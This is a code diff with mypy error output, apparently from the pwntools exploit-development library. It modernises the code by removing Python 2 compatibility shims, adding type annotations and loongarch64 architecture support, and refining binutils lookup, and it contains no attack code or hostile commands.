+pwnlib/util/fiddling.py:0: note: def [_T] __add__(self, tuple[_T, ...], /) -> tuple[Any | _T, ...]
+pwnlib/util/fiddling.py:0: note: Both left and right operands are unions
+pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu"  [attr-defined]
+pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu"  [attr-defined]
+pwnlib/util/sh_string.py:0: error: Argument 1 has incompatible type "*list[str | bytes | bytearray]"; expected "str | bytes"  [arg-type]
+pwnlib/util/proc.py:0: error: "sock" has no attribute "family"  [attr-defined]
+pwnlib/util/proc.py:0: error: "sock" has no attribute "type"  [attr-defined]
+pwnlib/util/proc.py:0: error: Argument 1 to "sock_match" has incompatible type "tuple[str, int]"; expected "addr"  [arg-type]
+pwnlib/util/proc.py:0: error: "None" has no attribute "pid"  [attr-defined]
+pwnlib/util/proc.py:0: error: Item "None" of "Process | None" has no attribute "pid"  [union-attr]
+pwnlib/util/proc.py:0: error: Module has no attribute "WinError"  [attr-defined]
+pwnlib/util/proc.py:0: error: Module has no attribute "get_last_error"  [attr-defined]
+pwnlib/util/proc.py:0: error: Module has no attribute "WinDLL"  [attr-defined]
+pwnlib/elf/elf.py:0: error: Need type annotation for "symbols" (hint: "symbols: dict[<type>, <type>] = ...")  [var-annotated]
+pwnlib/elf/elf.py:0: error: Need type annotation for "got" (hint: "got: dict[<type>, <type>] = ...")  [var-annotated]
+pwnlib/elf/elf.py:0: error: Need type annotation for "plt" (hint: "plt: dict[<type>, <type>] = ...")  [var-annotated]
+pwnlib/elf/elf.py:0: error: Need type annotation for "functions" (hint: "functions: dict[<type>, <type>] = ...")  [var-annotated]
+pwnlib/elf/elf.py:0: error: Name "address" already defined on line 0  [no-redef]
+pwnlib/encoders/encoder.py:0: error: Need type annotation for "blacklist" (hint: "blacklist: set[<type>] = ...")  [var-annotated]
+pwnlib/rop/call.py:0: error: Need type annotation for "args" (hint: "args: list[<type>] = ...")  [var-annotated]

pwn/__init__.py

@@ -1,13 +1,13 @@
 # Promote useful stuff to toplevel
-from __future__ import absolute_import
-
 from pwn.toplevel import *
+import pwnlib.update
 
 pwnlib.args.initialize()
 pwnlib.log.install_default_handler()
 pwnlib.config.initialize()
 
-args = pwnlib.args.args
+# Replace the module with the actual args object so that `from pwn import args` works as expected.
+args = pwnlib.args.args  # type: ignore[assignment]
 
 if not platform.architecture()[0].startswith('64'):
     """Determines if the current Python interpreter is supported by Pwntools.

pwn/toplevel.py

@@ -1,88 +1,20 @@
 # Get all the modules from pwnlib
-import collections
-import logging
-import math
-import operator
-import os
-import platform
-import re
-import socks
-import signal
-import string
-import struct
-import subprocess
-import sys
-import tempfile
-import threading
-import time
-
-from pprint import pprint
-
-import pwnlib
-from pwnlib import *
-from pwnlib.asm import *
-from pwnlib.context import Thread
-from pwnlib.context import context, LocalContext
-from pwnlib.dynelf import DynELF
-from pwnlib.encoders import *
-from pwnlib.elf.corefile import Core, Corefile, Coredump
-from pwnlib.elf.elf import ELF, load
-from pwnlib.encoders import *
-from pwnlib.exception import PwnlibException
-from pwnlib.gdb import attach, debug_assembly, debug_shellcode
-from pwnlib.filepointer import *
-from pwnlib.filesystem import *
-from pwnlib.flag import *
-from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
-from pwnlib.log import getLogger
-from pwnlib.memleak import MemLeak, RelativeMemLeak
-from pwnlib.regsort import *
-from pwnlib.replacements import *
-from pwnlib.rop import ROP
-from pwnlib.rop.call import AppendedArgument
-from pwnlib.rop.srop import SigreturnFrame
-from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
-from pwnlib.runner import *
-from pwnlib.term.readline import str_input
-from pwnlib.timeout import Timeout
-from pwnlib.tubes.listen import listen
-from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
-from pwnlib.tubes.remote import remote, tcp, udp, connect
-from pwnlib.tubes.serialtube import serialtube
-from pwnlib.tubes.server import server
-from pwnlib.tubes.ssh import ssh
-from pwnlib.tubes.tube import tube
-from pwnlib.ui import *
-from pwnlib.util import crc
-from pwnlib.util import iters
-from pwnlib.util import net
-from pwnlib.util import proc
-from pwnlib.util import safeeval
-from pwnlib.util.crc import BitPolynom
-from pwnlib.util.cyclic import *
-from pwnlib.util.fiddling import *
-from pwnlib.util.getdents import *
-from pwnlib.util.hashes import *
-from pwnlib.util.lists import *
-from pwnlib.util.misc import *
-from pwnlib.util.packing import *
-from pwnlib.util.proc import pidof
-from pwnlib.util.sh_string import sh_string, sh_prepare, sh_command_with
-from pwnlib.util.splash import *
-from pwnlib.util.web import *
-
-# Promote these modules, so that "from pwn import *" will let you access them
-
-from six.moves import cPickle as pickle, cStringIO as StringIO
-from six import BytesIO
-
-log = getLogger("pwnlib.exploit")
-error   = log.error
-warning = log.warning
-warn    = log.warning
-info    = log.info
-debug   = log.debug
-success = log.success
+import collections as collections
+import logging as logging
+import math as math
+import operator as operator
+import os as os
+import platform as platform
+import re as re
+import socks as socks
+import signal as signal
+import string as string
+import struct as struct
+import subprocess as subprocess
+import sys as sys
+import tempfile as tempfile
+import threading as threading
+import time as time
 
 try:
     import colored_traceback
@@ -99,5 +31,74 @@ else:
         # available on all platforms (e.g. Windows).
         pass
 
+from pprint import pprint as pprint
+
+import pwnlib as pwnlib
+from pwnlib import *
+from pwnlib.asm import *
+from pwnlib.context import Thread as Thread
+from pwnlib.context import context as context, LocalContext as LocalContext
+from pwnlib.dynelf import DynELF as DynELF
+from pwnlib.encoders import *
+from pwnlib.elf.corefile import Core as Core, Corefile as Corefile, Coredump as Coredump
+from pwnlib.elf.elf import ELF as ELF, load as load
+from pwnlib.encoders import *
+from pwnlib.exception import PwnlibException as PwnlibException
+from pwnlib.gdb import attach as attach, debug_assembly as debug_assembly, debug_shellcode as debug_shellcode
+from pwnlib.filepointer import *
+from pwnlib.filesystem import *
+from pwnlib.flag import *
+from pwnlib.fmtstr import FmtStr as FmtStr, fmtstr_payload as fmtstr_payload, fmtstr_split as fmtstr_split
+from pwnlib.log import getLogger
+from pwnlib.memleak import MemLeak as MemLeak, RelativeMemLeak as RelativeMemLeak
+from pwnlib.regsort import *
+from pwnlib.replacements import *
+from pwnlib.rop import ROP as ROP
+from pwnlib.rop.call import AppendedArgument as AppendedArgument
+from pwnlib.rop.srop import SigreturnFrame as SigreturnFrame
+from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload as Ret2dlresolvePayload
+from pwnlib.runner import *
+from pwnlib.term.readline import str_input as str_input
+from pwnlib.timeout import Timeout as Timeout
+from pwnlib.tubes.listen import listen as listen
+from pwnlib.tubes.process import process as process, PTY as PTY, PIPE as PIPE, STDOUT as STDOUT
+from pwnlib.tubes.remote import remote as remote, tcp as tcp, udp as udp, connect as connect
+from pwnlib.tubes.serialtube import serialtube as serialtube
+from pwnlib.tubes.server import server as server
+from pwnlib.tubes.ssh import ssh as ssh
+from pwnlib.tubes.tube import tube as tube
+from pwnlib.ui import *
+from pwnlib.util import crc as crc
+from pwnlib.util import iters as iters
+from pwnlib.util import net as net
+from pwnlib.util import proc as proc
+from pwnlib.util import safeeval as safeeval
+from pwnlib.util.crc import BitPolynom as BitPolynom
+from pwnlib.util.cyclic import *
+from pwnlib.util.fiddling import *
+from pwnlib.util.getdents import *
+from pwnlib.util.hashes import *
+from pwnlib.util.lists import *
+from pwnlib.util.misc import *
+from pwnlib.util.packing import *
+from pwnlib.util.proc import pidof as pidof
+from pwnlib.util.sh_string import sh_string as sh_string, sh_prepare as sh_prepare, sh_command_with as sh_command_with
+from pwnlib.util.splash import *
+from pwnlib.util.web import *
+from pwnlib.libc import *
+
+# Promote these modules, so that "from pwn import *" will let you access them
+
+import pickle as pickle
+from io import BytesIO as BytesIO, StringIO as StringIO
+
+log = getLogger("pwnlib.exploit")
+error   = log.error
+warning = log.warning
+warn    = log.warning
+info    = log.info
+debug   = log.debug
+success = log.success
+
 # Equivalence with the default behavior of "from import *"
 # __all__ = [x for x in tuple(globals()) if not x.startswith('_')]

pwnlib/__init__.py

@@ -23,7 +23,6 @@ __all__ = [
     'libcdb',
     'log',
     'memleak',
-    'pep237',
     'regsort',
     'replacements',
     'rop',

pwnlib/abi.py

@@ -1,35 +1,34 @@
-# -*- coding: utf-8 -*-
-from __future__ import absolute_import
-from __future__ import division
-
 from pwnlib.context import LocalContext
 from pwnlib.context import context
 
 
-class ABI(object):
+class ABI:
     """
     Encapsulates information about a calling convention.
     """
+    #: Register which points to the top of the stack.
+    stack: str
+
     #: List or registers which should be filled with arguments before
     #: spilling onto the stack.
-    register_arguments = []
+    register_arguments: list[str]
 
     #: Minimum alignment of the stack.
     #: The value used is min(context.bytes, stack_alignment)
     #: This is necessary as Windows x64 frames must be 32-byte aligned.
     #: "Alignment" is considered with respect to the last argument on the stack.
-    arg_alignment    = 1
+    arg_alignment: int
 
     #: Minimum number of stack slots used by a function call
     #: This is necessary as Windows x64 requires using 4 slots on the stack
-    stack_minimum      = 0
+    stack_minimum: int
 
     #: Indicates that this ABI returns to the next address on the slot
-    returns            = True
+    returns: bool = True
 
-    def __init__(self, stack, regs, align, minimum):
+    def __init__(self, stack, arg_regs, align, minimum):
         self.stack              = stack
-        self.register_arguments = regs
+        self.register_arguments = arg_regs
         self.arg_alignment      = align
         self.stack_minimum      = minimum
 
@@ -50,6 +49,7 @@ class ABI(object):
         (64, 'powerpc', 'linux'): linux_ppc64,
         (32, 'riscv32', 'linux'): linux_riscv32,
         (64, 'riscv64', 'linux'): linux_riscv64,
+        (64, 'loongarch64', 'linux'): linux_loongarch64,
         (32, 'i386', 'freebsd'):  freebsd_i386,
         (64, 'aarch64', 'freebsd'): freebsd_aarch64,
         (64, 'amd64', 'freebsd'): freebsd_amd64,
@@ -77,18 +77,17 @@ class ABI(object):
         (32, 'arm', 'linux'):   linux_arm_syscall,
         (32, 'thumb', 'linux'):   linux_arm_syscall,
         (32, 'mips', 'linux'):   linux_mips_syscall,
-        (64, 'aarch64', 'linux'):   linux_aarch64_syscall,
         (32, 'powerpc', 'linux'): linux_ppc_syscall,
         (64, 'powerpc', 'linux'): linux_ppc64_syscall,
         (32, 'riscv32', 'linux'): linux_riscv32_syscall,
         (64, 'riscv64', 'linux'): linux_riscv64_syscall,
+        (64, 'loongarch64', 'linux'): linux_loongarch64_syscall,
         (32, 'i386', 'freebsd'):  freebsd_i386_syscall,
         (64, 'amd64', 'freebsd'): freebsd_amd64_syscall,
         (64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
         (32, 'arm', 'freebsd'):   freebsd_arm_syscall,
         (32, 'thumb', 'freebsd'):   freebsd_arm_syscall,
         (32, 'mips', 'freebsd'):   freebsd_mips_syscall,
-        (64, 'aarch64', 'freebsd'):   freebsd_aarch64_syscall,
         (32, 'powerpc', 'freebsd'): freebsd_ppc_syscall,
         (64, 'powerpc', 'freebsd'): freebsd_ppc64_syscall,
         (64, 'amd64', 'darwin'): darwin_amd64_syscall,
@@ -109,6 +108,7 @@ class ABI(object):
         (64, 'aarch64', 'linux'):   linux_aarch64_sigreturn,
         (32, 'riscv32', 'linux'):   linux_riscv32_sigreturn,
         (64, 'riscv64', 'linux'):   linux_riscv64_sigreturn,
+        (64, 'loongarch64', 'linux'):   linux_loongarch64_sigreturn,
         (32, 'i386', 'freebsd'):  freebsd_i386_sigreturn,
         (64, 'amd64', 'freebsd'): freebsd_amd64_sigreturn,
         (32, 'arm', 'freebsd'):   freebsd_arm_sigreturn,
@@ -124,6 +124,10 @@ class SyscallABI(ABI):
     The syscall ABI treats the syscall number as the zeroth argument,
     which must be loaded into the specified register.
     """
+
+    #: Register which should be loaded with the syscall number.
+    syscall_register: str
+
     def __init__(self, *a, **kw):
         super(SyscallABI, self).__init__(*a, **kw)
         self.syscall_register = self.register_arguments[0]
@@ -142,12 +146,13 @@ class SigreturnABI(SyscallABI):
 linux_i386   = ABI('esp', [], 4, 0)
 linux_amd64  = ABI('rsp', ['rdi','rsi','rdx','rcx','r8','r9'], 8, 0)
 linux_arm    = ABI('sp', ['r0', 'r1', 'r2', 'r3'], 8, 0)
-linux_aarch64 = ABI('sp', ['x0', 'x1', 'x2', 'x3'], 16, 0)
+linux_aarch64 = ABI('sp', ['x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6', 'x7'], 16, 0)
 linux_mips  = ABI('$sp', ['$a0','$a1','$a2','$a3'], 4, 0)
 linux_ppc = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)
 linux_ppc64 = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)
 linux_riscv32 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
 linux_riscv64 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
+linux_loongarch64 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
 
 sysv_i386 = linux_i386
 sysv_amd64 = linux_amd64
@@ -158,6 +163,7 @@ sysv_ppc = linux_ppc
 sysv_ppc64 = linux_ppc64
 sysv_riscv32 = linux_riscv32
 sysv_riscv64 = linux_riscv64
+sysv_loongarch64 = linux_loongarch64
 
 # Docs: https://man7.org/linux/man-pages/man2/syscall.2.html
 linux_i386_syscall = SyscallABI('esp', ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'], 4, 0)
@@ -169,6 +175,7 @@ linux_ppc_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8',
 linux_ppc64_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8'], 8, 0)
 linux_riscv32_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5'], 4, 0)
 linux_riscv64_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5'], 8, 0)
+linux_loongarch64_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6'], 8, 0)
 
 linux_i386_sigreturn = SigreturnABI('esp', ['eax'], 4, 0)
 linux_amd64_sigreturn = SigreturnABI('rsp', ['rax'], 8, 0)
@@ -176,6 +183,7 @@ linux_arm_sigreturn = SigreturnABI('sp', ['r7'], 4, 0)
 linux_aarch64_sigreturn = SigreturnABI('sp', ['x8'], 16, 0)
 linux_riscv32_sigreturn = SigreturnABI('sp', ['a7'], 4, 0)
 linux_riscv64_sigreturn = SigreturnABI('sp', ['a7'], 8, 0)
+linux_loongarch64_sigreturn = SigreturnABI('sp', ['a7'], 8, 0)
 
 sysv_i386_sigreturn = linux_i386_sigreturn
 sysv_amd64_sigreturn = linux_amd64_sigreturn
@@ -183,6 +191,7 @@ sysv_arm_sigreturn = linux_arm_sigreturn
 sysv_aarch64_sigreturn = linux_aarch64_sigreturn
 sysv_riscv32_sigreturn = linux_riscv32_sigreturn
 sysv_riscv64_sigreturn = linux_riscv64_sigreturn
+sysv_loongarch64_sigreturn = linux_loongarch64_sigreturn
 
 freebsd_i386 = sysv_i386
 freebsd_amd64 = sysv_amd64

pwnlib/adb/__init__.py

@@ -1,5 +1,3 @@
-from __future__ import absolute_import
-
 from pwnlib.adb.adb import *
 from pwnlib.adb.protocol import Client
 from pwnlib.adb.bootimg import BootImage

pwnlib/adb/adb.py

@@ -45,24 +45,21 @@ the :mod:`pwnlib.adb` module.
     adb.write('/data/local/tmp/foo', 'my data')
 
 """
-from __future__ import absolute_import
-from __future__ import division
 
+import datetime
 import functools
 import glob
 import logging
 import os
 import re
 import shutil
-import six
 import stat
 import tempfile
 import time
 
-import dateutil.parser
-
 from pwnlib import atexit
 from pwnlib import tubes
+from pwnlib.tubes.remote import remote
 from pwnlib.context import LocalContext
 from pwnlib.context import context
 from pwnlib.device import Device
@@ -85,7 +82,7 @@ def adb(argv, *a, **kw):
         >>> adb.adb(['shell', 'uname']) # it is better to use adb.process
         b'Linux\n'
     """
-    if isinstance(argv, (bytes, six.text_type)):
+    if isinstance(argv, (bytes, str)):
         argv = [argv]
 
     log.debug("$ " + ' '.join(context.adb + argv))
@@ -320,11 +317,12 @@ class AdbDevice(Device):
             port = int(port)
             try:
                 with remote('localhost', port, level='error') as r:
-                    r.recvuntil('OK')
+                    r.recvuntil(b'OK')
                     r.recvline() # Rest of the line
-                    r.sendline('avd name')
-                    self.avd = r.recvline().strip()
-            except:
+                    r.sendline(b'avd name')
+                    self._avd = r.recvlineS().strip()
+            except (OSError, EOFError, PwnlibException):
+                # ADB device disconnected or not responding, skip AVD name lookup
                 pass
 
         self._initialized = True
@@ -366,7 +364,7 @@ class AdbDevice(Device):
         return AdbDevice(serial, type, **kwargs)
 
     def __wrapped(self, function):
-        """Wrapps a callable in a scope which selects the current device."""
+        """Wraps a callable in a scope which selects the current device."""
         @functools.wraps(function)
         def wrapper(*a, **kw):
             with context.local(device=self):
@@ -374,7 +372,7 @@ class AdbDevice(Device):
         return wrapper
 
     def __getattr__(self, name):
-        """Provides scoped access to ``adb`` module propertise, in the context
+        """Provides scoped access to ``adb`` module properties, in the context
         of this device.
 
         .. doctest::
@@ -838,7 +836,7 @@ def process(argv, *a, **kw):
         >>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8')) # doctest: +ELLIPSIS
         Linux version ...
     """
-    if isinstance(argv, (bytes, six.text_type)):
+    if isinstance(argv, (bytes, str)):
         argv = [argv]
 
     message = "Starting %s process %r" % ('Android', argv[0])
@@ -888,15 +886,15 @@ def which(name, all = False, *a, **kw):
         []
     """
     # Unfortunately, there is no native 'which' on many phones.
-    which_cmd = '''
+    which_cmd = fr'''
 (IFS=:
   for directory in $PATH; do
       [ -x "$directory/{name}" ] || continue;
-      echo -n "$directory/{name}\\x00";
+      echo -n "$directory/{name}\x00";
   done
 )
-[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
-'''.format(name=name)
+[ -x "{name}" ] && echo -n "$PWD/{name}\x00"
+'''
 
     which_cmd = which_cmd.strip()
     data = process(['sh','-c', which_cmd], *a, **kw).recvall()
@@ -1119,7 +1117,7 @@ def unlock_bootloader():
         if 'unlocked: yes' not in unlocked:
             log.error("Unlock failed")
 
-class Kernel(object):
+class Kernel:
     _kallsyms = None
 
     @property
@@ -1194,7 +1192,7 @@ class Kernel(object):
             'Nexus 7': 'oem uart-on',
         }
 
-        with log.waitfor('Enabling kernel UART'):
+        with log.waitfor('Enabling kernel UART') as w:
 
             if model not in known_commands:
                 log.error("Device UART is unsupported.")
@@ -1229,7 +1227,7 @@ class Kernel(object):
 
 kernel = Kernel()
 
-class Property(object):
+class Property:
     def __init__(self, name=None):
         # Need to avoid overloaded setattr() so we go through __dict__
         self.__dict__['_name'] = name
@@ -1263,7 +1261,7 @@ class Property(object):
             >>> adb.properties.ro.build.version.sdk == "24"
             True
         """
-        if isinstance(other, six.string_types):
+        if isinstance(other, str):
             return str(self) == other
         return super(Property, self).__eq__(other)
 
@@ -1275,7 +1273,6 @@ properties = Property()
 
 def _build_date():
     """Returns the build date in the form YYYY-MM-DD as a string"""
-    import datetime
 
     # Use ro.build.date.utc (integer epoch seconds) which is set by the
     # AOSP build system and available on all standard Android devices.
@@ -1284,7 +1281,7 @@ def _build_date():
     utc = getprop('ro.build.date.utc')
     if utc and utc.strip().isdigit():
         try:
-            as_datetime = datetime.datetime.fromtimestamp(int(utc.strip()), dateutil.tz.UTC)
+            as_datetime = datetime.datetime.fromtimestamp(int(utc.strip()), tz=datetime.timezone.utc)
             return as_datetime.strftime('%Y-%b-%d')
         except (OSError, OverflowError, ValueError):
             pass
@@ -1293,6 +1290,11 @@ def _build_date():
     as_string = getprop('ro.build.date')
     if not as_string:
         return ''
+    try:
+        import dateutil.parser
+    except ImportError:
+        log.exception("dateutil is required to parse ro.build.date since ro.build.date.utc is missing.  Please install it with 'pip install python-dateutil'")
+
     try:
         as_datetime = dateutil.parser.parse(as_string)
     except (ValueError, OverflowError):
@@ -1444,7 +1446,7 @@ def compile(source):
 
     return output[0]
 
-class Partition(object):
+class Partition:
     def __init__(self, path, name, blocks=0):
         self.path = path
         self.name = name
@@ -1496,7 +1498,7 @@ def readlink(path):
 
     return path.decode()
 
-class Partitions(object):
+class Partitions:
     """Enable access to partitions
 
     Example:
@@ -1575,7 +1577,7 @@ def install(apk, *arguments):
     This is a wrapper around 'pm install', which backs 'adb install'.
 
     Arguments:
-        apk(str): Path to the APK to intall (e.g. ``'foo.apk'``)
+        apk(str): Path to the APK to install (e.g. ``'foo.apk'``)
         arguments: Supplementary arguments to 'pm install',
             e.g. ``'-l', '-g'``.
     """
@@ -1583,9 +1585,9 @@ def install(apk, *arguments):
         log.error("APK must have .apk extension")
 
     basename = os.path.basename(apk)
-    target_path = '/data/local/tmp/{}.apk'.format(basename)
+    target_path = f'/data/local/tmp/{basename}.apk'
 
-    with log.progress("Installing APK {}".format(basename)) as p:
+    with log.progress(f"Installing APK {basename}") as p:
         with context.quiet:
             p.status('Copying APK to device')
             push(apk, target_path)
@@ -1606,7 +1608,7 @@ def uninstall(package, *arguments):
         package(str): Name of the package to uninstall (e.g. ``'com.foo.MyPackage'``)
         arguments: Supplementary arguments to ``'pm install'``, e.g. ``'-k'``.
     """
-    with log.progress("Uninstalling package {}".format(package)):
+    with log.progress(f"Uninstalling package {package}"):
         with context.quiet:
             return process(['pm','uninstall',package] + list(arguments)).recvall()
 
@@ -1624,4 +1626,3 @@ def version():
     """Returns rthe platform version as a tuple."""
     prop = getprop('ro.build.version.release')
     return [int(v) for v in prop.split('.')]
-

pwnlib/adb/bootimg.py

@@ -1,5 +1,3 @@
-from __future__ import division
-
 import ctypes
 
 BOOT_MAGIC = b"ANDROID!"
@@ -35,7 +33,7 @@ class boot_img_hdr(ctypes.Structure):
         ('extra_cmdline', ctypes.c_char * BOOT_EXTRA_ARGS_SIZE),
     ]
 
-class BootImage(object):
+class BootImage:
     def __init__(self, data):
         self.data = data
         self.header = boot_img_hdr.from_buffer_copy(data)

pwnlib/adb/bootloader.py

@@ -1,10 +1,6 @@
-from __future__ import unicode_literals
-from __future__ import division
-
 import ctypes
 import io
 import os
-import six
 import sys
 
 from pwnlib.log import getLogger
@@ -27,7 +23,7 @@ class bootloader_images_header(ctypes.Structure):
 
 BOOTLDR_MAGIC = b'BOOTLDR!'
 
-class BootloaderImage(object):
+class BootloaderImage:
     def __init__(self, data):
         """Android Bootloader image
 
@@ -65,7 +61,7 @@ class BootloaderImage(object):
         Returns:
             Contents of the image.
         """
-        if isinstance(index_or_name, six.integer_types):
+        if isinstance(index_or_name, int):
             index = index_or_name
         else:
             for i in range(len(self.img_info)):

pwnlib/args.py

@@ -17,7 +17,10 @@ The easiest example is to enable more verbose debugging.  Just set ``DEBUG``.
 These arguments are automatically extracted, regardless of their name, and
 exposed via :mod:`pwnlib.args.args`, which is exposed as the global variable
 :data:`args`.  Arguments which ``pwntools`` reserves internally are not exposed
-this way.
+this way.  These reserved arguments (such as ``DEBUG`` and ``NOASLR``) instead
+adjust :data:`pwnlib.context.context`, so their effect is read from ``context``
+(e.g. ``context.log_level``, ``context.aslr``) rather than from ``args`` --
+``args.NOASLR`` is always the empty string.
 
 .. code-block:: bash
 
@@ -48,9 +51,6 @@ The full list of supported "magic arguments" and their effects are listed
 below.
 
 """
-from __future__ import absolute_import
-from __future__ import division
-
 import collections
 import logging
 import os

pwnlib/asm.py

@@ -1,4 +1,3 @@
-# -*- coding: utf-8 -*-
 r"""
 Utilities for assembling and disassembling code.
 
@@ -39,9 +38,6 @@ Disassembly
     '   0:   b8 0b 00 00 00          mov    eax, 0xb'
 
 """
-from __future__ import absolute_import
-from __future__ import division
-
 import errno
 import os
 import platform
@@ -59,6 +55,7 @@ from pwnlib import shellcraft
 from pwnlib.context import LocalContext
 from pwnlib.context import context
 from pwnlib.log import getLogger
+from pwnlib.util.fiddling import hexstr
 from pwnlib.util.hashes import sha1sumhex
 from pwnlib.util.packing import _encode
 from pwnlib.version import __version__
@@ -133,11 +130,10 @@ def print_binutils_instructions(util, context):
     if packages:
         instructions = '$ sudo apt-get install %s' % packages[0]
 
-    log.error("""
-Could not find %(util)r installed for %(context)s
+    log.error(f"""\
+Could not find {util!r} installed for {context}
 Try installing binutils for this architecture:
-%(instructions)s
-""".strip() % locals())
+{instructions}""")
 
 
 def check_binutils_version(util):
@@ -188,29 +184,37 @@ def which_binutils(util, check_version=False):
 
     # Fix up pwntools vs Debian triplet naming, and account
     # for 'thumb' being its own pwntools architecture.
-    arches = [arch] + {
+    aliases = {
         'thumb':  ['arm',    'aarch64'],
-        'i386':   ['x86_64', 'amd64'],
         'i686':   ['x86_64', 'amd64'],
-        'amd64':  ['x86_64', 'i386'],
+        'amd64':  ['x86_64'],
+        'loongarch64': ['loong64'],
+    }.get(arch, [])
+
+    # Some binutils can support multiple architectures. Try them as fallbacks.
+    fallback_arches = {
+        'i386':   ['x86_64', 'amd64'],
+        'amd64':  ['i386'],
+        'arm':  ['aarch64'],
         'mips': ['mipsel'],
         'mipsel': ['mips'],
-        'mips64': ['mips', 'mipsel'],
-        'mips64el': ['mipsel', 'mips'],
+        'mips64': ['mips64el', 'mips', 'mipsel'],
+        'mips64el': ['mips64', 'mipsel', 'mips'],
         'powerpc64': ['powerpc'],
         'sparc64': ['sparc'],
         'riscv32': ['riscv64', 'riscv'],
         'riscv64': ['riscv32', 'riscv'],
     }.get(arch, [])
+    arches = [arch] + aliases + fallback_arches
 
     # If one of the candidate architectures matches the native
-    # architecture, use that as a last resort.
+    # architecture, use that as a last resort before trying fallbacks.
     machine = platform.machine()
     machine = 'i386' if machine == 'i686' else machine
     try:
         with context.local(arch = machine):
             if context.arch in arches:
-                arches.append(None)
+                arches = [arch] + aliases + [None] + fallback_arches
     except AttributeError:
         log.warn_once("Your local binutils won't be used because architecture %r is not supported." % machine)
 
@@ -223,6 +227,8 @@ def which_binutils(util, check_version=False):
     if platform.system() == 'Windows':
         utils = [util + '.exe']
 
+    # Try the explicit tools for the target architecture first,
+    # then the native one optionally, then fallbacks.
     for arch in arches:
         for gutil in utils:
             # e.g. objdump
@@ -247,7 +253,7 @@ def which_binutils(util, check_version=False):
     # No dice!
     print_binutils_instructions(util, context)
 
-util_versions = defaultdict(tuple)
+util_versions: defaultdict[str, tuple[int, ...]] = defaultdict(tuple)
 
 def _assembler():
     gas, version = which_binutils('as', check_version=True)
@@ -284,8 +290,11 @@ def _assembler():
         'ia64':    [gas, '-m%ce' % context.endianness[0]],
 
         # riscv64-unknown-elf-as supports riscv32 as well as riscv64
-        'riscv32': [gas, '-march=rv32gc', '-mabi=ilp32'],
-        'riscv64': [gas, '-march=rv64gc', '-mabi=lp64'],
+        'riscv32': [gas, '-march=rv32gv_zba_zbb_zbs', '-mabi=ilp32'],
+        'riscv64': [gas, '-march=rv64gv_zba_zbb_zbs', '-mabi=lp64'],
+
+        # loongarch64 supports none of -64, -EB, -EL or -march
+        'loongarch64'  : [gas],
     }
 
     assembler = assemblers.get(context.arch, [gas])
@@ -387,6 +396,7 @@ def _bfdname():
         'powerpc64' : 'elf64-powerpc',
         'riscv32' : 'elf%d-%sriscv' % (context.bits, E),
         'riscv64' : 'elf%d-%sriscv' % (context.bits, E),
+        'loongarch64' : 'elf%d-loongarch' % context.bits,
         'vax'     : 'elf32-vax',
         's390'    : 'elf%d-s390' % context.bits,
         'sparc'   : 'elf32-sparc',
@@ -411,6 +421,7 @@ def _bfdarch():
         'thumb':     'arm',
         'riscv32':   'riscv',
         'riscv64':   'riscv',
+        'loongarch64': 'loongarch64'
     }
 
     if arch in convert:
@@ -629,8 +640,7 @@ def make_elf(data,
     assembler = _assembler()
     linker    = _linker()
     code      = _arch_header()
-    code      += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
-    code      += '\n'
+    code      += f'.string {hexstr(data)}\n'
 
     log.debug("Building ELF:\n" + code)
 
@@ -698,7 +708,7 @@ def make_macho(data, is_shellcode=False):
     if is_shellcode:
         code += cpp(data)
     else:
-        code += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
+        code += f'.string {hexstr(data)}\n'
 
     log.debug('Assembling\n%s' % code)
 
@@ -807,7 +817,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
             os.makedirs(cache_dir)
 
         # Include the context in the hash in addition to the shellcode
-        hash_params = '{}_{}_{}_{}'.format(vma, extract, shared, __version__)
+        hash_params = f'{vma}_{extract}_{shared}_{__version__}'
         fingerprint_params = _encode(code) + _encode(hash_params) + _encode(' '.join(assembler)) + _encode(' '.join(linker)) + _encode(' '.join(objcopy))
         asm_hash = sha1sumhex(fingerprint_params)
         cache_file = os.path.join(cache_dir, asm_hash)
@@ -866,7 +876,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
                 universal_newlines = True
             ).strip()
             if extract and len(relocs.split('\n')) > 1:
-                log.error('Shellcode contains relocations:\n%s' % relocs)
+                log.warn('Shellcode contains relocations:\n%s' % relocs)
         else:
             shutil.copy(step2, step3)
 

pwnlib/atexception.py

@@ -2,12 +2,11 @@
 Analogous to atexit, this module allows the programmer to register functions to
 be run if an unhandled exception occurs.
 """
-from __future__ import absolute_import
-from __future__ import division
-
 import sys
 import threading
 import traceback
+from types import TracebackType
+from typing import Any, Callable, ParamSpec, TypeVar
 
 from pwnlib.context import context
 
@@ -15,9 +14,12 @@ __all__ = ['register', 'unregister']
 
 _lock = threading.Lock()
 _ident = 0
-_handlers = {}
+_handlers: dict[int, tuple[Callable[..., Any], Any, Any, dict[str, Any]]] = {}
 
